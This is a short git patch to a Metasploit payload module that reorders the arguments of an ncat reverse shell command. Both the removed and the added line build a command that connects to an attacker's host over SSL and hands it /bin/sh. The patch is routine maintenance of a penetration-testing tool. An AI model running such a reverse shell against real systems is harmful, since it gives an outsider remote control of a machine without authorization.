From 9e06c3f07eb9ac74aeace7d5a0619cf57457e618 Mon Sep 17 00:00:00 2001 From: C_Sto Date: Tue, 2 May 2017 00:39:00 +0800 Subject: [PATCH] fix argument arrangement --- modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb index 695dac94de..8ff7af5ae2 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb @@ -45,7 +45,7 @@ module MetasploitModule # Returns the command string to use for execution # def command_string - "ncat --ssl #{datastore['LHOST']} #{datastore['LPORT']} -e /bin/sh " + "ncat -e /bin/sh --ssl #{datastore['LHOST']} #{datastore['LPORT']}" end end